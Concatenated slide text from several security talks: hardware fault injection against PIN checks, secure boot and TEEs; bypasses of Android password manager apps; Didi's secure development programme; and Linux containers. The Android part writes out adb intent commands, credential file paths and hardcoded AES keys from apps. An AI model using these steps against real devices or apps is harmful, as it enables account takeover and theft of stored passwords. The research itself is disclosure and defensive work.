bool result=false;
printf("Please, introduce PIN\r\n");
fgets(pin,sizeof(pin),stdin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\n",pin);
}
printf("%s",tmp);
return result;
}
跳过/破坏指令
result = comparePIN(pin);
ldr r0, [sp, #pin]
bl
comparePIN
str r0, [sp, #result]
1
1
1
1
0
0 0 0 0 0 0 1 1 0 1 0
地址
操作码
result = comparePIN(pin);
result = pin;
ldr r0, [sp, #pin]
bl
comparePIN
str r0, [sp, #result]
ldr r0, [sp, #pin]
strb r2, [r3, #0]
str r0, [sp, #result]
1
0
跳过/破坏指令
1
1
1
0
0 0 0 0 0 0 1 1 0 1 0
地址
操作码
跳过/破坏指令
result = comparePIN(pin);
ldr r0, [sp, #pin]
bl
comparePIN
str r0, [sp, #result]
1
0
0
1
0
0 0 0 0 0 0 1 0 0 0 1
地址
操作码
result = comparePIN(pin);
comparePIN(pin);
ldr r0, [sp, #pin]
bl
comparePIN
str r0, [sp, #result]
ldr r0, [sp, #pin]
bl
comparePIN
asrs r1, r2, #32
1
0
跳过/破坏指令
0
0
1
0
0 0 0 0 0 0 1 0 0 0 1
地址
操作码
模块失灵
位翻转
CMP R0,R1
BNE ERROR
...
跳过/破坏指令
故障的影响
破坏芯片
阻碍读/写
FI的发展和现状
FI 正在成为流行的测试技术!
但它已经存在很多年了...
年龄测试!
这两者之间有什么关系?
不要在家做这个!
FI的实际应用
故障注入规则 #1
故障注入规则 #2
10+ 年存在的故障
绕过身份认证
绕过安全启动
升级权限
复原加密密钥
修改安全配置.
绕过身份认证
绕过身份认证
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(pin); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
gets(pin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\n",pin);
}
printf(tmp);
return result;
}
绕过身份认证
统一诊断服务
统一
诊断
服务
UDS(通用数据系统) 身份认证
FI
if (receivedKey != expectedKey)
not_authenticated();
// Glitch
else
authenticated();
if (receivedKey != expectedKey)
not_authenticated();
else
authenticated();
使用FI绕过UDS认证
绕过安全启动
安全启动
内部
引导芯片
第二阶段
引导程序
近阶段
引导程序
OS 加载器
应用程序
加载器
验证签名&解密
验证签名&解密"
验证签名&解密"
验证签名&解密"
绕过安全启动
绕过安全启动
//Verify image. Returns true is correct
bool verifyImage(uint8_t *image,
uint32_t len, uint8_t *sign, rsaKey) {
char *hash1, *hash2;
...
// Calculate Hash
calculateHash(image,len,hash1)
// Verify signature
verifySignature(sign, rsaKey, hash2)
// Compare hashes
if (memcmp(hash1, hash2, HASH_LEN) != 0)
return false;
else
return true;
}
void boot() {
void (*entryPoint)(void);
...
// Load image to buffer
uint32_t len = loadFlashImage(imgBuf)
// Verify image
if (verifyImage(imgBuf, len, sign,
rsaKey) == false) {
goto reset;
// Auth failed
}
// Jump to image
entryPoint = imgbuf;
(*entryPoint)();
...
}
你是否记得FI规则#2?
保护安全启动可能是一个噩梦
FISim(金融中介服务)案例
升级权限
升级权限
User space
Kernel
space
REE
TEE
REE-TEE 分离
REE
CPU
TEE
CPU
REE memory
Shared memory
(mailbox)
TEE memory
随机跳跃攻击
REE
CPU
TEE
CPU
Mailbox"
载荷
载荷地址
载荷地址
载荷地址
载荷地址
…
写入消息"
读取消息"
随机跳跃攻击
REE
CPU
写入消息"
TEE
CPU
Mailbox"
载荷
载荷地址
载荷地址
载荷地址
载荷地址
…
读取消息"
随机跳跃攻击
TEE
CPU
Mailbox"
载荷
载荷地址
载荷地址
载荷地址
载荷地址
…
读取消息"
memcpy(dst,src,len);
...
loop:
ldr r0, [r3], #4
str r0, [r4], #4
...
1 1 1 0 0 1 0 0 1 0 1 1 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
1 1 1 0 0 1 0 0 1 0 1 1 0 0 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 1 0 0
随机跳跃攻击
TEE
CPU
Mailbox"
载荷
载荷地址
载荷地址
载荷地址
载荷地址
…
Read"message"
memcpy(dst,src,len);
...
loop:
ldr r0, [r3], #4
str r0, [r4], #4
...
1 1 1 0 0 1 0 0 1 0 1 1 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
...
loop:
ldr pc, [r3], #4
str r0, [r4], #4
...
Payload();
升级权限
复原密钥
复原密钥
故障分析
DFA$
差分故障分析$
CFA$
碰撞故障分析$
SFA$
统计故障分析$
DFIA$
差分故障$
强度分析$
$
IFA$
失效的故障分析$
SIFA$
统计失效故障分析$$
$
b0,0
b0,1
b0,2
b0,3
b1,0
b1,1
b1,2
b1,3
b2,0
b2,1
b2,2
b2,3
b3,0
b3,1
b3,2
b3,3
b0,0
b0,1
b0,2
b0,3
b1,0
b1,1
b1,2
b1,3
b2,0
b2,1
c2,2
b2,3
b3,0
b3,1
b3,2
b3,3
AES故障分析
基于关键属性的故障注入
Key
Attributes
Key 1
AES
ENC
Key 2
3DES
DEC
Key 3
AES/3DES ENC/DEC
…
…
…
Crypto engine
3DES
DES
AES
Key
Attributes
Key 1
AES
ENC
Key 2
3DES
DEC
Key 3
AES/3DES ENC/DEC
…
…
…
Keyslot"
Key
Attributes
Key 1
AES
ENC
Key 2
3DES
DEC
Key 3
AES/3DES ENC/DEC
…
…
…
基于关键属性的FI
Key
Attributes
Key 1
DES
ENC
Key 2
3DES
DEC
Key 3
AES/3DES ENC/DEC
…
…
…
Crypto engine
3DES
DES
AES
Keyslot"
复原密钥
修改安全配置
阻碍安全配置
// Read fuses and configure security modules
bool disableJtag = readFuse(DISABLE_JTAG);
bool enableMemoryScrambler =
readFuse(ENABLE_MEM_SCRAMBLER);
bool enableTEE = readFuse(ENABLE_TEE);
if (disableJtag==true)
closeJtag();
if (enableMemoryScrambler==true)
configureMemoryScrambler();
if (enableTEE==true)
configureTEE();
void boot() {
void (*entryPoint)(void);
...
// Load image to buffer
uint32_t len = loadFlashImage(imgBuf)
// Verify image
if (verifyImage(imgBuf, len, sign,
rsaKey) == false) {
goto reset;
// Auth failed
}
// Jump to image
entryPoint = imgbuf;
(*entryPoint)();
...
}
局部故障注入
电磁故障注入"
激光故障注入"
激光故障注入
电磁故障注入
FI的预防
FI的应对措施
VS
硬件"
软件"
故障注入规则 #3
基于硬件的措施
1.8V
故障感应器"
冗余"
if (receivedKey != expectedKey)
not_authenticated();
// Glitch
else
authenticated();
基于软件的措施#1
if (receivedKey != expectedKey)
not_authenticated();
else
authenticated();
if (receivedKey != expectedKey)
not_authenticated(); // Glitched
...
// Do something else
...
if (receivedKey != expectedKey)
not_authenticated();
else
authenticated();
if (receivedKey != expectedKey)
not_authenticated();
...
// Do something else
...
if (receivedKey != expectedKey)
not_authenticated();
else
authenticated();
基于软件的措施 #1
sleep(rand()); // Random delay
if (receivedKey != expectedKey)
not_authenticated();
else
authenticated();
基于软件的措施 #2
总结
记住这些规则!
更多信息:
Protecting software against FI
https://www.riscure.com/uploads/2018/11/201708_Riscure_Whitepaper_Side_Channel_Patterns.pdf
FI on UDS:
https://www.riscure.com/uploads/2018/06/
Riscure_Whitepaper_Fault_injection_on_automotive_diagnostic_protocols.pdf
Bypassing secure boot
https://www.riscure.com/uploads/2017/10/eu-16-Timmers-Bypassing-Secure-Boot-Using-Fault-
Injection.pdf
Linux privileges escalation:
https://www.riscure.com/uploads/2017/10/
Riscure_Whitepaper_Escalating_Privileges_in_Linux_using_Fault_Injection.pdf
Optical FI
https://www.riscure.com/uploads/2017/09/Practical-optical-fault-injection-on-secure-
microcontrollers.pdf
Wild Jungle Jump attack
https://www.riscure.com/uploads/2017/09/Controlling-PC-on-ARM-using-Fault-Injection.pdf
Practical DFA
https://www.slideshare.net/secret/K8jlDL4os1evrW
招聘进行中!
上海海·中国
代尔夫特·荷兰
旧⾦金金⼭山·美国
Riscure North America
550 Kearny St.
Suite 330
San Francisco, CA 94108
+1 (650) 646 9979
[email protected]
Riscure B.V.
Frontier Building, Delftechpark 49
2628 XJ Delft
The Netherlands
Phone: +31 15 251 40 90
www.riscure.com
Contact:
Riscure China
2081, No.989, Changle Road
200031 Shanghai
China
Phone: +86 21 5117 5440
Wechat: RiscureChina
Ramiro Pareja
[email protected] | pdf |
Bypassing)Android)
Password)Manager)Apps)
Without)Root
Stephan)Huber,)Siegfried)Rasthofer,)Steven)Arzt
Fraunhofer SIT
2
Stephan
•
Mobile)Security)Researcher)at)
Fraunhofer)SIT
•
Enjoys teaching)students)in)
Android)(app))hacking
•
Twitter:)@teamsik
Siegfried
•
Head)of Secure)Software)
Engineering)at)Fraunhofer)SIT
•
Founder of CodeInspect
•
Web:)www.rasthofer.info
•
Twitter:)@teamsik
Acknowledgements
• Benedikt)Hiemenz
• Daniel)Hitzel
• Daniel)Magin
• Joseph)Varghese
• Julien)Hachenberger
• Max)Kolhagen
• Michael)Tröger
• Philipp)Roskosch
• Wittmann)Andreas
3
4
Wish
5
aim=e1Ioci Ohyoh>wae0 kei7Gae$si bei3coo<Li ooB,iu9AhN Phei0IeHa' uhu;j5ohTi
Phi,Phu3di Moo0ooz"oh we(u,t0Zas quucoo<d2I Pae?gh<ie3 loh;Bah4ei Wa[el~oh9i
ooh!ee7Aik AX1aeSh>ai eGah+K5iuM yae$V4leex ohjiu_Hei6 fee'Cho5Oo jahK3Ad+ai
oH)eewaec0 KiG&ee4ahy ujohj%ie1J wae,Gei6mu uSh=i2ahng ainai]Le2i Ieb~o5fohF
ohN\ah1gae Dooch\ei7i ich]a're1U aiToh5cee= eiZ2thaip; ni"W3oom?i oi(Sh7vie)
gu}i8Tohco il@ah@ve9U cie"tae8Eo Au&S3aigae eir0ieHo)c ohch/ah6Ii Bie*t9xie"
ukieTh6fu[ ie*vieZai9 ohwu(v0eeY ua&ghi7aeR em?ohG?oi3 phu$L^ah4p ieX&i2shei
aiZie%l7Oo ood8Pe<emo faiGh[ie0i OPho9sie>n phie9Ib(ie beiMei[r7a Nagh(aid0U
AhTee:tah5 oY"a5pheib ohthe1Na.e eria9Ahn>u eid8Ohso!o Uv4ia6Gu`o Aeli1li$i&
Toth^ai8ph Euso6eu$ja vie8Ieh?ai leec4aeZ/o Eele+ph2na yai=b!a5Oo Wefoh&m4oh
Vo-oX9ka0v ei9eenuN<a Eit}ae4ohF heRie.J6Bo OoZ-ue9mai zait8coo]N yoh9Oopoh$
xoh%C:ahk6 Zi]opu4eiB eGh>ih2oPh noo7Ish'ie Uaz6she|Zu oo0aiP*ee2 coh=Puo1Ve
roo9Kee-th ra@c3Ce7sh mabi6Malo[ auw1Eu\kie eiVoo,Kuu5 aiW\oo5phu Oos_abir7U
Reality
6
Note
Password-Manager
Password-Recycling
Browser)
Password-Manager
7
App
GooglePlay Downloads
Keeper
10)– 50 m
Keepsafe
10)– 50)m
1Password
1 – 5)m
Dashlane
1)– 5)m
Lastpass
1)– 5)m
Avast
0.5)– 1)m
MyPasswords
0.5)– 1)m
F-Secure
100)– 500 k
PasswordManger
50 – 100)k
Security)Requirements
8
Confidentiality
Availability
Integrity
9
• Premium)features)for)free
• Resetting)master)password)with)ease
• Breaking)C.I.A
• Lost)device)scenario
• Mitm attacks
• Via)third)party)app
10
Internet
App
Account)Manager
(master password)
File
(master password)
PW-Manager)App
user1:pw1
user2:pw2
...
Database
PC
“No-root scenario“
11
Premium8upgrade8for free !
Get Pro)for Free
12
public abstract class BasePreferenceActivity extends AppCompatPreferenceActivity {
protected static boolean a = false;
protected void onCreate(Bundle bundle) {
boolean z = false;
super.onCreate(bundle);
…
if (getIntent().getIntExtra("com.xy.mo.apps.pwmgr.EXTRA_SUFCXNUQVRF", 0) == 2) {
z = true;
}
a = z;
}
Premium)Flag
adb shell am start -n
com.xy.mo.apps.pwmgr/.settings.DatabaseSettings --ei
com.xy.mo.apps.pwmgr.EXTRA_SUFCXNUQVRF 2
check)Intent value
Before and After)Intent
Before Intent:
After)Intent:
13
14
Logic Flaw
Logic Design)Flaw
15
Forgot Password
Verification
Code
YES
Correct ?
Security)Question
YES
Reset
Master)Password
Correct ?
YES
USER
Attacker has (physical)8device Access.
read emails
on)device
?
Logic Design)Flaw
• Manifest:
• Start)Activity:
16
<activity android:theme="@*android:style/Theme.NoDisplay"
android:label="@afk/app_name"
android:name="com.xyz.android_apps.noname.DeepLinkActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="https" android:host="xyz.com" android:pathPattern="/.*st.*" />
</intent-filter>
</activity>
adb shell am start -n com.xyz.android_apps.noname/.DeepLinkActivity
Logic Design)Flaw
• “Forget)Password“)function
17
Logic Design)Flaw
• Fire intent,)start DeepLinkActivity
18
Logic Design)Flaw
• Settings)->)“RESET)SECURITY)QUESTION“
19
Attacker Flow
20
Change)
Security)Question
Reset
Master)Password
Enter)Verification Code
Answer Sec.)Question
Attacker has (physical)8device Access
ATTACKER
Start)Settings
Forgot Password
Verification
Code
YES
get code from
emails on)device
Side)Effects
• Change)security)question)without8authentication8
• Insert new8data8into)the)database)->)
synchronization (no)code)L)
• Turn)of)auto8destroy8function)->)brute)forcing
21
22
Get Master)Secret
Master)Secret
Extraction process
• ADB-backup
• Mitm attack
• Browser8file access
• Residue attack
Decryption process
• Plaintext
• Custom8crypto
• Hardcoded symmetric keys
• Custom8obfuscation
23
1
2
Master)Secret
Extraction process
• Mitm attack
Decryption process
• Custom8crypto
24
1
2
User)Authentication
25
username:password
success
HTTP)+)Custom)Crypto
26
Authentication)Process
http – POST)- request
seed =)time[ms]
key =)random(seed)
enc_data =)AES(key,)auth_data)
seed =)time[ms]
key =)random(seed)
dec_data =)AES(key,)auth_data)
Body:
Header:
enc_data
encrypted payload
?
27
Authentication)Process
http - POST
seed =)time[ms]
key =)random(seed)
enc_data =)AES(key,)auth_data)
seed =)time[ms]
key =)random(seed)
dec_data =)AES(key,)auth_data)
seed =)time[ms])– x[ms]
key =)random(seed)
dec_data =)AES(key,)auth_data)
Best)Practices:)Secure)Communication
• Android,)correct)ssl*
• Stronger,)SSL)(Pinning)
• Android)7)supports)pinning)(security))configuration)file)
• Use)library)with)pinning)support,)e.g.)OkHttp library)
(take)care)of)version)
28
URL url = new URL("https://example.org");
URLConnection urlConnection = url.openConnection();
InputStream in = urlConnection.getInputStream();
…
*https://developer.android.com/training/articles/security-ssl.html
Master)Secret
Extraction process
• Browser8file access
29
1
30
md5(“)pinCodeValue“)
base64(encr(key,)PASS))
file:///data/data/package.name/shared_prefs/passwd_pref.xml
Master)Secret
Extraction process
• Residue attack
31
1
32
THE ACCOUNTMANAGER
THE WHAT ?
Android'AccountManger
• „This)class)provides)access)to)a)centralized)registry)
for)the)user‘s)online)accounts)…“
• SQLITE)Database)for)storing)tokens)or)temp.)
Credentials)
• API)provides)access)for)Application
33
/data/system/users/0 # ls -l accounts.db
-rw-rw---- system
system
241664 2017-04-03 10:58 accounts.db
“With&this&in&mind,&you&shouldn't*pass*the*user's*actual*password*to&
AccountManager.addAccountExplicitly(). Instead,&you&should&
store&a&cryptographically&secure*token*that&would&be&of&limited&use&to&an&attacker.&
If&your&user&credentials&are&protecting&something&valuable,&you&should&carefully
consider&doing&something&similar.”
https://developer.android.com/training/id-auth/custom_auth.html
Quote)google)developer)(AccountManager)
34
DEMO TIME !
35
DEMO)TIME)!
36
AccountManager
ID
email
type
token
accounts.db
37
AccountManager
ID
email
type
token
com.account
[email protected]
secret
Target)App
account type
accounts.db
38
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
com.account
[email protected]
secret
Target)App
account type
installation
accounts.db
UID8=8123
39
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
com.account
[email protected]
stuff
Attacker App
account type
installation
accounts.db
UID8=8456
40
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
accounts.db
UID8=8456
COLLISION8!8
UID:123 ¹ UID:456
41
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
accounts.db
UID8=8456
COLLISION8!8
UID:123 ¹ UID:456
uninstall target app
com.account
42
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
accounts.db
Not)removed,
there is an)app with matching account type
com.account
43
AccountManager
ID
email
type
token
1
[email protected]
com.account
secret
accounts.db
Attacker app can now access the secret !
com.account
Master)Secret
Decryption process
• Hardcoded symmetric keys
• Custom8obfuscation
44
2
Crypto – Do)it right
45
“A)cryptosystem)should)be)secure)even)if)everything)
about)the)system,)except)the)key,)is)public)knowledge.”)*
*JOURNAL)DES)SCIENCES)MILITAIRES.)Janvier)1883.)LA)CRYPTOGRAPHIE)MILITAIRE.
Kerckhoffs's principle
Correct encryption
46
master secret
(password)
cipher-text
key)derivation function
(e.g.)PBKDF2)
AES
encryption or
decryption
Lsdh3ji
a32er4o
er3owe2
daerw23
Bad)Crypto
47
master secret
(password=)mp)
AES
encryption/)decryption
(enc(mp,)d))
Lsdh3ji
a32er4o
er3owe2
daerw23
static key =)s
AES
store enc(s,)mp)
mp)=
mp)
cipher-text
[0…0])- padding
data d
Hard-coded keys
48
String = staticinvoke f.b("ydPCPFnpqfPuuBYPzhfGXD38gtUPN2yj",
$String);
public abstract class LPCommon {
//first part of the key
protected static String aA = "ldT52Fjsnjdn4390";
//second part of the key
protected static String aB = "89y23489h989fFFF";
AES-Key)=)ydPCPFnpqfPuuBYPzhfGXD38gtUPN2yj
AES-Key)=)ldT52Fjsnjdn4390 89y23489h989fFFF;
Broken Key)Obfuscation
49
master secret
(password=)mp)
AES
random key
self-implemented random
enc(kr,)mp)
obf(kr)
obfuscator
encryption
kr
sizeof(kr)=9
9
55
Broken Key)Obfuscation
50
obf(kr)
kr
Abc2Abc2Abc2
Random)encryption key
Obfuscated key
obf(kr)8parts
kr parts
Abc
kr[0])+)kr[1]
2
kr[2]
Abc
kr[3])+)kr[4]
2
kr[5]
Abc
kr[6])+)kr[7]
2
kr[8]
sizeof(kr)=9
sizeof(obf(kr))=12
Scheme:
kr[0])+)kr[1])=)kr[3])+)kr[4])=)
kr [6])+)kr[7])
and:
kr[2])=)kr[5])=)kr[8]
Broken Key)Obfuscation
51
obf(kr)8parts
kr parts
Abc
kr[0])+)kr[1]
2
kr[2]
Abc
kr[3])+)kr[4]
2
kr[5]
Abc
kr[6])+)kr[7]
2
kr[8]
„Bruteforcing“
-
simple)„rainbow“)tables
-
3)character mapping
-
1)character mapping
obf(kr)8parts
Key8kr[n]8+8kr[n+1]
ISF
!!
ISN
!#
QUF
AA
…
…
Abc
kl
…
…
enp
zz
obf(kr)=Abc2Abc2Abc2
kr =)kl$kl$kl$
Recommendations)(1/2)
• Use)Android)KeyStore
• Key)derivation)(e.g.)PBKDF28(API),8Conceal8(Open8
Source,8bcrypt,8…)
• No)static8keys
• Use AES/CBC or)AES/GCM
52
Recommendations (2/2)
• Disable backup8flag8(apps)support)backend)
synchronization)->)implicit)backup)
• If)there)is)a)master)pass)storage)function,)do8not8
store)it)in)plaintext
• Do8not8store)the)master8pass8in)the)local8app8
folder,)this)is)not)a)protected)area
53
54
Keeper
Lastp
1Pass
MyPass
Avast
F-Sec
Keeps.
PwMgr
Mirsoft
Dash
Master/PIN
X
X
X
X
X
X
X
X
Hardcoded
Key
X
X
X
X
Sandbox
Bypass
X
X
X
X
X
Side)channel
X
X
X
X
X
Subdomain
X
X
X
X
X
X
Data leakage
X
X
X
Partial)
encryption
X
Broken)sync.
X
www.sit4.me/pw-manager
55
THIS IS THE END
MY FRIEND
56
57
Stephan8Huber
Email:)[email protected]
Siegfried8Rasthofer
Email:)[email protected]
Twitter:)@teamsik
Website:)www.team-sik.org | pdf |
滴滴SDL体系建设
范世强
2020.12.17
--滴滴SDL从0-1建设历程
目录
滴滴SDL建设历程概览
02
个人介绍
01
滴滴SDL建设历程详解
03
滴滴SDL现在与未来
04
10余年安全从业经历:
•
国舜科技-安全服务
•
CNCERT-渗透测试
•
阿里云-云产品安全
•
滴滴出行-SDL负责人
2017年加入滴滴,参与了整个滴滴SDL从0-1的建设过程。
01
个人介绍
02
滴滴SDL建设历程概览
01 滴滴SDL建设历程概览
开发生命周期
滴滴SDL 2017
安全开发技术咨询
设计方案评估
提供安全开发规范
黑盒扫描
三方组件扫描
代码安全评估
SRC漏洞运营
资产库建设
SDL:Security Development Lifecycle 安全开发生命周期
需求
设计
开发
准入
上线
运营
测试
线上安全开发培训
滴滴SDL 2018
滴滴SDL 2019
滴滴SDL 2020
自研代码扫描
提供安全SDK
商用代码扫描
黑盒扫描
安全评估平台化
代码审计手册
漏洞月报
安全评估自动化
自研代码扫描
漏洞月报自动化
03
滴滴SDL建设历程详解
01 滴滴SDL 2017
背景:研发自由上线,SDL无感知;SRC安全漏洞多。
系统上线
触发卡点
安全评估
发布上线
资产梳理
尚未覆盖
绕过卡点
线上域名
线 上 IP
代码仓库
…
域名申请
代码准入
采购软件
...
重点建设方向:
•
建立流程卡点
•
制定上线规范
正向覆盖
反向覆盖
02 滴滴SDL 2018
背景:各项工作通过人肉开展、自动化程度低;过程依赖邮件、钉钉等方式,知识不能沉淀、各项工作无流程闭环。
重点建设方向:
•
SDL一站式工作平台上线
--数据沉淀、流程线上闭环
--建设漏洞知识库及方案库
•
自研黑盒与测试环境打通
--多渠道流量采集进行扫描
•
商用白盒与部署系统打通
--自研检测规则
•
三方组件检测上线
--打通构建平台拉取组件依赖
03 滴滴SDL 2019
背景:安全评估数量巨大,人效明显不足。
重点建设方向:
•
安全评估自动化
--将各个场景的风险提炼成规则引擎
•
自研白盒扫描工具
--基于图搜索技术
•
重新制定开发规范
项目信息输入
(反复沟通)
按要求设计、实现
提交代码及
测试环境
研发人员
SDL安全工程师
输出安全要求、方案
人工评估流程图
输出review结果
整改、上线
业务分析
威胁建模
人工代码
审计
关键信息输入
按要求设计、实现
提交代码
研发人员
SDL平台
输出安全要求、安全方案
自动化评估流程图
输出基线review结果
整改、上线
规则引擎
自研代码检测
引擎
04 滴滴SDL 2020
背景:线上漏洞下降,以逻辑漏洞为主;工具成熟度低、流程体验不足;研发安全意识仍有较大提升空间。
白盒+基线左移
研发安全教育
安全SDK
上线指标大盘
◼ 目的:
提升覆盖、降低后期
修复成本
◼ 方法:
① 自研白盒在CI/CD
流水线中左移至构
建阶段;
② 开发/测试阶段自
助检测/修复;
◼ 目的:
提升研发安全编码
◼ 方法:
① 将安全开发录制成
系列短视频;
② 短视频按需组成课
程包,推送给新研
发;
③ 将短视频形式嵌入
知识库;
◼ 目的:
降低研发修复成本
◼ 方法:
① 常用安全功能及漏
洞修复标准化
② 提供安全SDK给研
发使用
◼ 目的:
提升运营效率
◼ 方法:
① 将覆盖率、检出率
修复率、漏洞分布
、扫描时长、NPS
等各项指标自动化
计算
② 在SDL平台提供指
标大盘
05 关于如何做好SDL我的几个观点
◼ 一开始不要研究多么牛逼的技术和工具,先把覆盖率搞上去。
◼ 做好资产建设,资产不清楚是很多问题的根源。
◼ 工具不在多、技术不需要多牛,对标问题是关键。
◼ 建立有效的指标评价体系,保证运营的有效性。
◼ 做好漏洞和事件的持续复盘、改进,发生事件不一定是坏事。
◼ 技术栈的复杂度、代码来源的多样性、互联网业务高频迭代给SDL带来了极大的挑战,把漏洞不是唯一的手段,
也要多依赖安全培训、网络隔离、内外部蓝军、白帽子等其他手段。
04
滴滴SDL的现在与未来
DEV
Gitlab
编译构建
产品&组件库
代码准入
代码部署
安全
评估
白盒
扫描
拉取代码
提供产品包
提供依赖的组件
线上运行
黑盒
扫描
QA
采集预发流量
通知扫描引擎
线下测试
黑盒
扫描
线下测试环境
agent流量采集
接入层转发
黑盒
扫描
请求日志
组件
检测
提供组件依赖信息
打包
通知安全评估
白盒
扫描
安全
培训
研发人员信息
OPS
组件
检测
采集组件信息
02 滴滴SDL自动化能力部署
03 滴滴SDL的未来
降发生:
逻辑漏洞检测自动化
工具链+资产库打通
…
安全感:
Devsecops体系建设
赋能研发提升效率体验
…
招贤纳士:
欢迎对SDL有兴趣的同学加入我们,共建
滴滴SDL…
微信:fsqsec | pdf |
Linux Containers: Future or Fantasy?
Aaron Grattafiori
Technical Director
NCC Group (aka iSEC Partners/Matasano Security/Intrepidus Group)
DEF CON 23
Infosec, pentesting, Neg9/CTF
iSEC Partners for 5.5 years
NCC Group for 0.1 years
Hacking Samsung Smart TVs @ BH USA 2013, Toorcon, etc
Macs in the age of the APT @ BH USA 2011, Source, etc
2015
NCC Group
2
whoami
These slides are not intended to be
consumed without the corresponding
presentation or whitepaper. The
information contained within is designed
for presenting and not 100% completeness
with regards to risks, recommendations,
findings, etc.
2015
NCC Group - INTERNAL
3
Disclaimer
2015
NCC Group
4
whoami
2015
NCC Group
5
Story One: The Server
Bob’s Ruby on Rails app gets popped
or his SQL database server is compromised
or his Wordpress plugin gives RCE
or ….
He wants to add security... But how?
2015
NCC Group
6
Once Upon a Time
OLD
The tried and true still used today
Broken if you have root
2015
NCC Group
7
Chroot ?
mkdir(“ncc");
chroot(“ncc");
chdir("../.."); oh no…
chroot(".");
2015
NCC Group
8
Chroot
2015
NCC Group
9
SELinux ?
NSA made it
Complex type system for MLS systems
Good support on RHEL
2015
NCC Group
10
SELinux ?
Complexity
Linus Torvalds problem
The setenforce 0 problem
Kernel enforces it: Kernel gotta kernel
2015
NCC Group
11
SELinux (and other MAC)
Well you’ve protected the kernel, apps and
helped prevention memory corruption and
hardened against other attacks but…
2015
NCC Group
12
OK, No MAC but grsecurity!
2015
NCC Group
13
Full Virtual Machines?
QEMU, KVM or ESX escapes
Recent Xen/QEMU
updates anyone?
VM for single process?
Nope.
2015
NCC Group
14
Full Virtual Machines
2015
NCC Group
15
Story Two: The Client
“Gulenn” talks to a potential
source named “citizenfour”
He can’t use a Chromebook
because he is paranoid of Google
2015
NCC Group
16
Once Upon a Time
“Malware is just for Windows”
“OSX sucks, it’s insecure”
Linox is like… super sakure right?
2015
NCC Group
17
Hey, just use Linux!
He’s one webkit or gekco bug away from a
TBB compromise. What app sandboxes?
Pidgin and libpurple don’t have a great
track record
LiveCDs are stale code by definition
2015
NCC Group
18
aaaaannnnddd broken…
2015
NCC Group
19
Story Three: The Embedded
Margaret is in charge of embedded security
at D-LINK, Belkin, <insert IoT company>
She wants to add isolation between the
web app, wpa_supplicant and DLNA stack
Tired of having CSRF-able arbitrary code
execution via buggy input validation
2015
NCC Group
20
Once Upon a Time
Everything runs as root
No security is added (because $$$)
You can’t easily virtualize or segment
ARM/MIPS within a router, but is there
nothing we can do to improve IoT?
2015
NCC Group
21
Margret isn’t alone!
2015
NCC Group
22
What do these stories have in common?
Attack surface matters almost more than anything else
Sandboxes and containers at least let us pick our
battles: they should be the rule not the exception ( Props to
Google Chrome Browser, Adobe Reader X, Apple Seatbelt, Google ChromeOS, etc)
How can we work to improve server, desktop and
embedded security for Linux ?
2015
NCC Group
23
What do these stories have in common?
2015
NCC Group
24
We have to try something new
Paul Smecker: They exited out the front door. They had
no idea what they were in for. Now they're staring at six
men with guns drawn. It was a fucking ambush.
NCC Group - INTERNAL
2015
25
Paul Smecker: This was a fucking bomb dropping on
Beaver Cleaverville. For a few seconds, this place was
Armageddon!
NCC Group - INTERNAL
2015
26
Officer Greenly: What if
it was just one guy with
six guns?
NCC Group - INTERNAL
2015
27
Paul Smecker: Why don't
you let me do the
thinking, huh, genius?
NCC Group - INTERNAL
2015
28
But Greenly was right… it was “il Duce”
NCC Group - INTERNAL
2015
29
2015
NCC Group
30
What if it wasn’t one cpu with multiple kernels, but
one kernel with multiple userlands?
2015
NCC Group
31
OpenVZ
Linux Vservers
FreeBSD Jails
OpenBSD/NetBSD Sysjail
Solaris Zones
HP UX Containers
AIX Workload Partitions
Fundamentally less secure than
hardware virtualization
2015
NCC Group
32
A little bit about OS Virtualization
Hardware virtualization creates
software emulation for pretty much
everything
Software or OS virtualization
partitions a single kernel and
attempts to restrict or control access
to hardware
2015
NCC Group
33
OS vs Hardware Virtualization
Hardware virtualization is
even fundamentally less
secure than physically
different hardware…
(surrounded by guys with guns and fences)
2015
NCC Group
34
But we don’t want to depend on a single
method for security …
2015
NCC Group
35
Namespaces
2015
NCC Group
36
Namespaces
http://www.cs.bell-labs.com/sys/doc/names.html
Plan9
2015
NCC Group
37
Namespaces
Linux Kernel
MOUNT
NET
UTS
USER
PID
clone(2)
set_ns(2)
unshare(2)
2015
NCC Group
38
It all starts with a CLONE(2)
“Kernel Execution Context”
CLONE_NEWNS: Added in 2.4.19 kernel
Per user / via PAM
Per process view of files, disks, NFS
2015
NCC Group
39
MOUNT Namespace
CLONE_NEWIPC: Added in 2.6.19
“System 4 IPC objects”
2015
NCC Group
40
IPC Namespace
CLONE_NEWUTS: Added in 2.6.19
uname(2), setdomainname(2),
sethostname(2)
2015
NCC Group
41
UTS Namespace
CLONE_NEWPID: Added in 2.6.24
Process IDs start at 1
Can be nested
2015
NCC Group
42
PID Namespace
2015
NCC Group
43
PID NS example
$ lxc-create –t busybox –n foo ; lxc-start –n foo
$ lxc-attach -n foo -- ps
PID USER COMMAND
1 root init
5 root /bin/sh
10 root ps
2015
NCC Group
44
CLONE_NEWNET: Added in 2.6.24
Separate network device, IP, MAC,
routing table, firewall
2015
NCC Group
45
NETWORK Namespace
CLONE_NEWUSER: Added in 2.6.23
but finished 3.8
Important for actually securing
containers
… also a high risk area of the kernel :/
2015
NCC Group
46
USER Namespace
$ lxc-attach -n foo -- sh
